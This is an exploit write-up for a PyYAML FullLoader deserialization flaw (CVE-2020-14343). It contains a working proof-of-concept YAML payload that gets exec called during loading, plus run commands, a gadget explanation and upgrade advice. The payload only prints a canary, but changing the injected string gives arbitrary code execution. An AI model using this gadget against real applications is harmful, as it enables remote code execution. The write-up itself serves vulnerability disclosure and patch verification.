Exploit write-up
PyYAML FullLoader deserialization RCE (CVE-2020-14343)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
#!/usr/bin/env python3
# CVE-2020-14343 proof-of-concept (mechanism explained below).
import yaml
# Code executed ONLY if the vulnerability triggers (exec runs as extend()).
# It reads the canary from the environment and writes it to stdout.
INJECTED = "import os; print(os.environ['POC_CANARY'])"
payload = """
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "%s"
""" % INJECTED
# full_load == load with FullLoader; vulnerable in 5.3.1, blocked in 5.4.
try:
yaml.full_load(payload)
except Exception:
# On a patched build FullLoader refuses the constructors and raises;
# nothing is printed, which is the intended differential behavior.
pass
How to run it.
pip install pyyaml==5.3.1
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install pyyaml==5.4
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
PyYAML before 5.4 executes arbitrary code when it parses untrusted input through yaml.full_load or the FullLoader loader, which matters for teams running pyyaml at the call sites the advisory names. This analysis confirmed the code-execution primitive by running a proof-of-concept against pinned builds of pyyaml 5.3.1 and 5.4. The advisory scores the flaw 9.8 on CVSS and covers every version below 5.4.
The bug lives in how FullLoader handles a pair of object-construction tags.
The gadget
The exploitation path abuses the python/object/new constructor. Read from the proof-of-concept, the chain is:
In 5.3.1, FullLoader still permits
!!python/object/new:typetogether with!!python/name:exec. This builds a fresh class whoseextendmethod IS the builtinexec, then the object/new construction path callsinstance.extend(listitems)->exec(the code string), achieving RCE.
Why 5.3.1 is the version to test
Testing 5.3.1 against 5.4 isolates this bug, because 5.3.1 already contains the first attempt at closing this class of construction and the gadget above gets through it. CVE-2020-14343 bypasses that incomplete fix, which shipped for CVE-2020-1747 and is present in 5.3.1. The fix in 5.4 tightens FullLoader so these constructors are rejected.
The two runs
This analysis read the vulnerable code path and the gadget from the fix commit’s patch diff, then ran the proof-of-concept against both builds.
| Build | Affected per advisory | proof-of-concept outcome |
|---|---|---|
| pyyaml 5.3.1 | yes | canary printed — code executed |
| pyyaml 5.4 | no (fixed) | no output, no visible error |
The 5.4 run’s absence of output shows the payload did not fire but does not by itself show the fix rejecting the constructors. This analysis exercised only 5.3.1 on the vulnerable side, so the claim that every version before 5.4 is affected comes from the advisory rather than from a version-by-version test. The proof-of-concept demonstrates the code-execution primitive; a full exploit chain against a specific deployed application would depend on where and how that application feeds YAML to the affected API.
Auditing and fixing it
Upgrade pyyaml to 5.4 or later. Where an upgrade is not immediate, keep untrusted input away from full_load and FullLoader, and constrain the input at the trust boundary before it reaches the parser. The call sites the advisory names are the first place to audit.
The rejection check that has not run
To check the fix directly, this analysis would watch the loader raise an error on the offending tag instead of inferring rejection from the absence of the canary, and this analysis has not yet tested the range below 5.4 version by version.
- Target
- PyYAML (PyYAML)
- Class
- Unsafe YAML deserialization via FullLoader (python/object/new)
- Impact
- Arbitrary code execution from loading untrusted input
- CVE
- CVE-2020-14343
- CWE
- CWE-20, CWE-502
- CVSS
9.8- Affected
- PyPI/pyyaml < 5.4 (vulnerable 5.3.1)
- Status
- Fixed in 5.4
- Maturity
- functional
- Disclosed
- February 9, 2021
- Tags
- rce · deserialization · pyyaml · n-day · auto-generated
- References
- NVD — CVE-2020-14343
Upstream fix commit
Predecessor — CVE-2020-1747
PoC exercises the deserialization primitive; detonate only in an isolated, disposable VM.